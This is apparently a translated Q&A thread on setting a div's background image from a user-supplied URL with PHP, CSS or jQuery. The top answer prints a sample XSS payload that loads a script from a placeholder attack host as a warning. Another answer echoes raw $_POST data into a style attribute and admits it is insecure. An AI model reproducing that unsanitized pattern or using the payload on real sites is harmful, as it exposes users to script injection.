12

次のように、ロゴ画像を背景として使用したいロゴdivがあります。

.logo {
    background: #FFF url(images/logo.jpg);
}

ただし、スクリプトの設定ページに、背景画像の画像URLを指定するためのテキスト入力フィールドが必要です。

このdivの背景画像を入力画像のURLとして設定するにはどうすればよいですか？

<div><img src="/images/logo.jpg" /></div>

（スクリプトはPHPで書かれています）

4

4 に答える 4

33

背景画像を動的に設定するための2つのオプションがあります。

  1. ドキュメントの<head>：に埋め込みスタイルシートを配置します。

    <style type="text/css">
.logo {
   background: #FFF url(<?php echo $variable_holding_img_url; ?>);
}
</style>

  2. background-imageCSSプロパティをインラインで定義します。

    <div style="background-image: url(<?php echo $varable_holding_img_url; ?>);">...</div>

注：データベースに保存する前に、入力をサニタイズしてください（Bobby Tablesを参照）。HTMLやその他のものが含まれていないことを確認してください。有効なURL文字、エスケープ引用符などのみが含まれています。これが行われていない場合、攻撃者はページにコードを挿入する可能性があります。

"> <script src="http://example.com/xss-attack.js"></script> <!--
于 2012-07-03T03:41:04.143 に答える
6 
<input type="text" class="inputContent" />
<script type="text/javascript">
    var inputC = $('input.inputContent').val();
    $('body').css('background', 'url(' + inputC + ')');
</script>

私はPHPを知らないので、それは完全にjsとjQueryですが、それは解決策です！

于 2012-07-03T03:39:19.737 に答える
3

PHPスクリプト（やや高度な）からcssを生成するか、インラインスタイルを使用してトリックを実行する必要があります。元：

<div style="background-image: <?php echo $_POST['whateverjpg']; ?>" >
//blah
</div>

これは信じられないほど安全ではありませんが、私が与えることができる最も簡潔な答えです。

于 2012-07-03T03:06:25.737 に答える
2

ここに示すように、javascriptを使用して背景画像を動的に設定できると思います。

document.getElementById("xyz").style.backgroundImage="your path";

javascriptを使用したくない場合は、なぜインラインstyle属性を使用できないのですか。
元

<div style="background-image: url(xyz)"></div>
于 2012-07-03T03:02:26.027 に答える